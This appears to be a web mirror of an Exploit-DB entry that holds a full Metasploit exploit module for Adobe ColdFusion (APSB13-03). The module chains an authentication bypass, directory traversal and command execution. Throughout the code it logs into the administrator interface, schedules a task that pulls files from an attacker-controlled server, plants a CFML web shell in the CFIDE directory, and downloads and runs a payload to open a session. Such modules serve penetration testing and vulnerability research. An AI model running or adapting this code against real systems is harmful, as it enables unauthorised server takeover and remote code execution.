Adobe ColdFusion APSB13-03 – Remote Multiple Vulnerabilities (Metasploit)

  • 作者: Metasploit
    日期: 2013-04-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/24946/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    require 'digest/sha1'
    require 'openssl'
    
    class Metasploit3 < Msf::Exploit::Remote
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'Adobe ColdFusion APSB13-03',
    'Description' => %q{
    This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03:
    * CVE-2013-0625: arbitrary command execution in scheduleedit.cfm (9.x only)
    * CVE-2013-0629: directory traversal
    * CVE-2013-0632: authentication bypass
    },
    'Author' =>
    [
    'Jon Hart <jon_hart[at]rapid7.com', # Metasploit module
    ],
    'License' => MSF_LICENSE,
    'References'=>
    [
    [ 'CVE', '2013-0625'],
    [ 'CVE', '2013-0629'],
    # we don't actually exploit this, as this is the backdoor
    # dropped by malware exploiting the other vulnerabilities
    [ 'CVE', '2013-0631'],
    [ 'CVE', '2013-0632'],
    ],
    'Targets'=>
    [
    ['Automatic Targeting', { 'auto' => true }],
    [
    'Universal CMD',
    {
    'Arch' => ARCH_CMD,
    'Platform' => ['unix', 'win', 'linux']
    }
    ]
    ],
    'DefaultTarget'=> 1,
    'Privileged'=> true,
    'Platform'=> [ 'win', 'linux' ],
    'DisclosureDate' => 'Jan 15 2013'))
    
    register_options(
    [
    Opt::RPORT(80),
    OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
    OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
    OptBool.new('USERDS', [ true, 'Authenticate with RDS credentials', true ]),
    OptString.new('CMD', [ false, 'Command to run rather than dropping a payload', '' ]),
    ], self.class)
    
    register_advanced_options(
    [
    OptBool.new('DELETE_TASK', [ true, 'Delete scheduled task when done', true ]),
    ], self.class)
    end
    
    def check
    exploitable = 0
    exploitable += 1 if check_cve_2013_0629
    exploitable += 1 if check_cve_2013_0632
    exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
    end
    
    # Login any way possible, returning the cookies if successful, empty otherwise
    def login
    cf_cookies = {}
    
    ways = {
    'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },
    'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },
    'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },
    }
    ways.each do |what, how|
    these_cookies = how.call
    if got_auth? these_cookies
    print_status "Authenticated using '#{what}' technique"
    cf_cookies = these_cookies
    break
    end
    end
    
    fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") if cf_cookies.empty?
    cf_cookies
    end
    
    def exploit
    # login
    cf_cookies = login
    
    # if we managed to login, get the listener ready
    datastore['URIPATH'] = rand_text_alphanumeric(6)
    srv_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
    start_service
    
    # drop a payload on disk which we can used to execute
    # arbitrary commands, which will be needed regardless of
    # which technique (cmd, payload) the user wants
    input_exec = srv_uri + "/#{datastore['URIPATH']}-e"
    output_exec = "#{datastore['URIPATH']}-e.cfm"
    schedule_drop cf_cookies, input_exec, output_exec
    
    if datastore['CMD'] and not datastore['CMD'].empty?
    # now that the coldfusion exec is on disk, execute it,
    # passing in the command and arguments
    parts = datastore['CMD'].split(/\s+/)
    res = execute output_exec, parts.shift, parts.join(' ')
    print_line res.body.strip
    else
    # drop the payload
    input_payload = srv_uri + "/#{datastore['URIPATH']}-p"
    output_payload = "#{datastore['URIPATH']}-p"
    schedule_drop cf_cookies, input_payload, output_payload
    # make the payload executable
    # XXX: windows?
    execute output_exec, 'chmod', "755 ../../wwwroot/CFIDE/#{output_payload}"
    # execute the payload
    execute output_exec, "../../wwwroot/CFIDE/#{output_payload}"
    end
    handler
    end
    
    def execute cfm, cmd, args=''
    uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}"
    send_request_raw( { 'uri' => uri, 'method' => 'GET' }, 25 )
    end
    
    def on_new_session(client)
    return
    # TODO: cleanup
    if client.type == "meterpreter"
    client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
    @files.each do |file|
    client.fs.file.rm("#{file}")
    end
    else
    @files.each do |file|
    client.shell_command_token("rm #{file}")
    end
    end
    end
    
    def on_request_uri cli, request
    cf_payload = "test"
    case request.uri
    when "/#{datastore['URIPATH']}-e"
    cf_payload = <<-EOF
    <cfparam name="url.cmd" type="string" default="id"/>
    <cfparam name="url.args" type="string" default=""/>
    <cfexecute name=#url.cmd# arguments=#url.args# timeout="5" variable="output" />
    <cfoutput>#output#</cfoutput>
    EOF
    when "/#{datastore['URIPATH']}-p"
    cf_payload = payload.encoded
    end
    send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })
    end
    
    
    # Given a hash of cookie key value pairs, return a string
    # suitable for use as an HTTP Cookie header
    def build_cookie_header cookies
    cookies.to_a.map { |a| a.join '=' }.join '; '
    end
    
    # this doesn't actually work
    def twiddle_csrf cookies, enable=false
    mode = (enable ? "Enabling" : "Disabling")
    print_status "#{mode} CSRF protection"
    params = {
    'SessEnable' => enable.to_s,
    }
    res = send_request_cgi(
    {
    'uri'=> normalize_uri(target_uri.path, "/CFIDE/administrator/settings/memoryvariables.cfm"),
    'method' => 'POST',
    'connection' => 'TE, close',
    'cookie' => build_cookie_header(cookies),
    'vars_post' => params,
    })
    if res
    if res.body =~ /SessionManagement should/
    print_error "Error #{mode} CSRF"
    end
    else
    print_error "No response while #{mode} CSRF"
    end
    end
    
    # Using the provided +cookies+, schedule a ColdFusion task
    #to request content from +input_uri+ and drop it in +output_path+
    def schedule_drop cookies, input_uri, output_path
    vprint_status "Attempting to schedule ColdFusion task"
    cookie_hash = cookies
    
    scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm"
    scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm"
    # make a request to the scheduletasks page to pick up the CSRF token
    res = send_request_cgi(
    {
    'uri'=> normalize_uri(target_uri.path, scheduletasks_path),
    'method' => 'GET',
    'connection' => 'TE, close',
    'cookie' => build_cookie_header(cookie_hash),
    })
    cookie_hash.merge! get_useful_cookies res
    
    if res
    # XXX: I can only seem to get this to work if 'Enable Session Variables'
    # is disabled (Server Settings -> Memory Variables)
    token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first
    unless token
    print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)"
    #twiddle_csrf cookies, false
    token = ''
    end
    else
    fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for task listing")
    end
    
    # make a request to the scheduletasks page again, this time passing in our CSRF token
    # in an attempt to get all of the other cookies used in a request
    cookie_hash.merge! get_useful_cookies res
    res = send_request_cgi(
    {
    'uri'=> normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task",
    'method' => 'GET',
    'connection' => 'TE, close',
    'cookie' => build_cookie_header(cookie_hash),
    })
    
    fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task") unless res
    
    # pick a unique task ID
    task_id = SecureRandom.uuid
    # drop the backdoor in the CFIDE directory so it can be executed
    publish_file = '../../wwwroot/CFIDE/' + output_path
    # pick a start date.This must be in the future, so pick
    # one sufficiently far ahead to account for time zones,
    # improper time keeping, solar flares, drift, etc.
    start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}"
    params = {
    'csrftoken' => token,
    'TaskName' => task_id,
    'Group' => 'default',
    'Start_Date' => start_date,
    'End_Date' => '',
    'ScheduleType' => 'Once',
    'StartTimeOnce' => '1:37 PM',
    'Interval' => 'Daily',
    'StartTimeDWM' => '',
    'customInterval_hour' => '0',
    'customInterval_min' => '0',
    'customInterval_sec' => '0',
    'CustomStartTime' => '',
    'CustomEndTime' => '',
    'repeatradio' => 'norepeatforeverradio',
    'Repeat' => '',
    'crontime' => '',
    'Operation' => 'HTTPRequest',
    'ScheduledURL' => input_uri,
    'Username' => '',
    'Password' => '',
    'Request_Time_out' => '',
    'proxy_server' => '',
    'http_proxy_port' => '',
    'publish' => '1',
    'publish_file' => publish_file,
    'publish_overwrite' => 'on',
    'eventhandler' => '',
    'exclude' => '',
    'onmisfire' => '',
    'onexception' => '',
    'oncomplete' => '',
    'priority' => '5',
    'retrycount' => '3',
    'advancedmode' => 'true',
    'adminsubmit' => 'Submit',
    'taskNameOriginal' => task_id,
    'groupOriginal' => 'default',
    'modeOriginal' => 'server',
    }
    
    cookie_hash.merge! (get_useful_cookies res)
    res = send_request_cgi(
    {
    'uri'=> normalize_uri(target_uri.path, scheduleedit_path),
    'method' => 'POST',
    'connection' => 'TE, close',
    'cookie' => build_cookie_header(cookie_hash),
    'vars_post' => params,
    })
    
    if res
    # if there was something wrong with the task, capture those errors
    # print them and abort
    errors = res.body.scan(/<li class="errorText">(.*)<\/li>/i).flatten
    if errors.empty?
    if res.body =~ /SessionManagement should/
    fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF")
    end
    print_status "Created task #{task_id}"
    else
    fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}")
    end
    else
    fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}")
    end
    
    print_status "Executing task #{task_id}"
    res = send_request_cgi(
    {
    'uri'=> normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server",
    'method' => 'GET',
    'connection' => 'TE, close',
    'cookie' => build_cookie_header(cookie_hash),
    })
    
    #twiddle_csrf cookies, true
    if datastore['DELETE_TASK']
    print_status "Removing task #{task_id}"
    res = send_request_cgi(
    {
    'uri'=> normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}",
    'method' => 'GET',
    'connection' => 'TE, close',
    'cookie' => build_cookie_header(cookie_hash),
    })
    end
    
    vprint_status normalize_uri(target_uri, publish_file)
    publish_file
    end
    
    # Given the HTTP response +res+, extract any interesting, non-empty
    # cookies, returning them as a hash
    def get_useful_cookies res
    set_cookie = res.headers['Set-Cookie']
    # Parse the Set-Cookie header
    parsed_cookies = CGI::Cookie.parse(set_cookie)
    
    # Clean up the cookies we got by:
    # * Dropping Path and Expires from the parsed cookies -- we don't care
    # * Dropping empty (reset) cookies
    %w(Path Expires).each do |ignore|
    parsed_cookies.delete ignore
    parsed_cookies.delete ignore.downcase
    end
    parsed_cookies.keys.each do |name|
    parsed_cookies[name].reject! { |value| value == '""' }
    end
    parsed_cookies.reject! { |name,values| values.empty? }
    
    # the cookies always seem to start with CFAUTHORIZATION_, but
    # give the module the ability to log what it got in the event
    # that this stops becoming an OK assumption
    unless parsed_cookies.empty?
    vprint_status "Got the following cookies after authenticating: #{parsed_cookies}"
    end
    cookie_pattern = /^CF/
    useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern }
    if useful_cookies.empty?
    vprint_status "No #{cookie_pattern} cookies found"
    else
    vprint_status "The following cookies could be used for future authentication: #{useful_cookies}"
    end
    useful_cookies
    end
    
    # Authenticates to ColdFusion Administrator via the adminapi using the
    # specified +user+ and +password+.If +use_rds+ is true, it is assumed that
    # the provided credentials are for RDS, otherwise they are assumed to be
    # credentials for ColdFusion Administrator.
    #
    # Returns a hash (cookie name => value) of the cookies obtained
    def adminapi_login user, password, use_rds
    vprint_status "Attempting ColdFusion Administrator adminapi login"
    user ||= ''
    password ||= ''
    res = send_request_cgi(
    {
    'uri'=> normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),
    'method' => 'POST',
    'connection' => 'TE, close',
    'vars_post' => {
    'method' => 'login',
    'adminUserId' => user,
    'adminPassword' => password,
    'rdsPasswordAllowed' => (use_rds ? '1' : '0')
    }
    })
    
    if res
    if res.code == 200
    vprint_status "HTTP #{res.code} when authenticating"
    return get_useful_cookies(res)
    else
    print_error "HTTP #{res.code} when authenticating"
    end
    else
    print_error "No response when authenticating"
    end
    
    {}
    end
    
    # Authenticates to ColdFusion Administrator using the specified +user+ and
    # +password+
    #
    # Returns a hash (cookie name => value) of the cookies obtained
    def administrator_login user, password
    cf_cookies = administrator_9x_login user, password
    unless got_auth? cf_cookies
    cf_cookies = administrator_10x_login user, password
    end
    cf_cookies
    end
    
    def administrator_10x_login user, password
    # coldfusion 10 appears to do:
    # cfadminPassword.value = hex_sha1(cfadminPassword.value)
    vprint_status "Trying ColdFusion 10.x Administrator login"
    res = send_request_cgi(
    {
    'uri'=> normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
    'method' => 'POST',
    'vars_post' => {
    'cfadminUserId' => user,
    'cfadminPassword' => Digest::SHA1.hexdigest(password).upcase,
    'requestedURL' => '/CFIDE/administrator/index.cfm',
    'submit' => 'Login',
    }
    })
    
    if res
    if res.code.to_s =~ /^30[12]/
    useful_cookies = get_useful_cookies res
    if got_auth? useful_cookies
    return useful_cookies
    end
    else
    if res.body =~ /<title>Error/i
    print_status "Appears to be restricted and/or not ColdFusion 10.x"
    elsif res.body =~ /A License exception has occurred/i
    print_status "Is license restricted"
    else
    vprint_status "Got unexpected HTTP #{res.code} response when sending a ColdFusion 10.x request.Not 10.x?"
    vprint_status res.body
    end
    end
    end
    
    return {}
    end
    
    def got_auth? cookies
    not cookies.select { |name,values| name =~ /^CFAUTHORIZATION_/ }.empty?
    end
    
    def administrator_9x_login user, password
    vprint_status "Trying ColdFusion 9.x Administrator login"
    # coldfusion 9 appears to do:
    # cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));
    #
    # You can get a current salt from
    # http://<host>:8500/CFIDE/adminapi/administrator.cfc?method=getSalt&name=CFIDE.adminapi.administrator&path=/CFIDE/adminapi/administrator.cfc#method_getSalt
    #
    # Unfortunately that URL might be restricted and the salt really just looks
    # to be the current time represented as the number of milliseconds since
    # the epoch, so just use that
    salt = (Time.now.to_i * 1000).to_s
    pass = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), salt, Digest::SHA1.hexdigest(password).upcase).upcase
    res = send_request_cgi(
    {
    'uri'=> normalize_uri(target_uri.path, %w(CFIDE administrator enter.cfm)),
    'method' => 'POST',
    'vars_post' => {
    'submit' => 'Login',
    'salt' => salt,
    'cfadminUserId' => user,
    'requestedURL' => '/CFIDE/administrator/index.cfm',
    'cfadminPassword' => pass,
    }
    })
    if res
    return get_useful_cookies res
    else
    print_error "No response while trying ColdFusion 9.x authentication"
    end
    
    {}
    end
    
    # Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+
    #
    # Returns a hash (cookie name => value) of the cookies obtained
    def componentutils_login user, password
    vprint_status "Attempting ColdFusion ComponentUtils login"
    vars = {
    'j_password_required' => "Password+Required",
    'submit' => 'Login',
    }
    vars['rdsUserId'] = user if user
    vars['j_password'] = password if password
    res = send_request_cgi(
    {
    'uri'=> normalize_uri(target_uri.path, %w(CFIDE componentutils cfcexplorer.cfc)),
    'method' => 'POST',
    'connection' => 'TE, close',
    'vars_post' => vars
    })
    
    cf_cookies = {}
    if res.code.to_s =~ /^(?:200|30[12])$/
    cf_cookies = get_useful_cookies res
    else
    print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login"
    end
    
    cf_cookies
    end
    
    def check_cve_2013_0629
    vulns = 0
    paths = %w(../../../license.txt ../../../../license.html)
    
    # first try password-less bypass in the event that this thing
    # was just wide open
    vuln_without_creds = false
    paths.each do |path|
    if (traverse_read path, nil) =~ /ADOBE SYSTEMS INCORPORATED/
    vulns += 1
    vuln_without_creds = true
    break
    end
    end
    
    if vuln_without_creds
    print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 without credentials"
    else
    print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 without credentials"
    end
    
    # if credentials are provided, try those too
    if datastore['USERNAME'] and datastore['PASSWORD']
    vuln_without_bypass = false
    paths.each do |path|
    cf_cookies = componentutils_login datastore['USERNAME'], datastore['PASSWORD']
    if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
    vulns += 1
    vuln_without_bypass = true
    break
    end
    end
    
    if vuln_without_bypass
    print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 with credentials"
    else
    print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 with credentials"
    end
    end
    
    # now try with the CVE-2013-0632 bypass, in the event that this wasn't *totally* wide open
    vuln_with_bypass = false
    paths.each do |path|
    cf_cookies = adminapi_login datastore['USERNAME'], datastore['PASSWORD'], true
    # we need to take the cookie value from CFAUTHORIZATION_cfadmin
    # and use it for CFAUTHORIZATION_componentutils
    cf_cookies['CFAUTHORIZATION_componentutils'] = cf_cookies['CFAUTHORIZATION_cfadmin']
    cf_cookies.delete 'CFAUTHORIZATION_cfadmin'
    if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
    vulns += 1
    vuln_with_bypass = true
    break
    end
    end
    
    if vuln_with_bypass
    print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
    else
    print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
    end
    
    vulns > 0
    end
    
    # Checks for CVE-2013-0632, returning true if the target is
    # vulnerable, false otherwise
    def check_cve_2013_0632
    if datastore['USERDS']
    # the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but
    # subsequently *enabled* after install, the password is unset so we simply must
    # check that and only that.
    cf_cookies = adminapi_login 'foo', 'bar', true
    if cf_cookies.empty?
    print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0632"
    else
    print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0632"
    return true
    end
    else
    print_error "Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off"
    end
    false
    end
    
    def traverse_read path, cookies
    uri = normalize_uri(target_uri.path)
    uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path="
    uri << path
    res = send_request_cgi(
    {
    'uri'=> uri,
    'method' => 'GET',
    'connection' => 'TE, close',
    'cookie' => build_cookie_header(cookies)
    })
    res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '')
    end
    end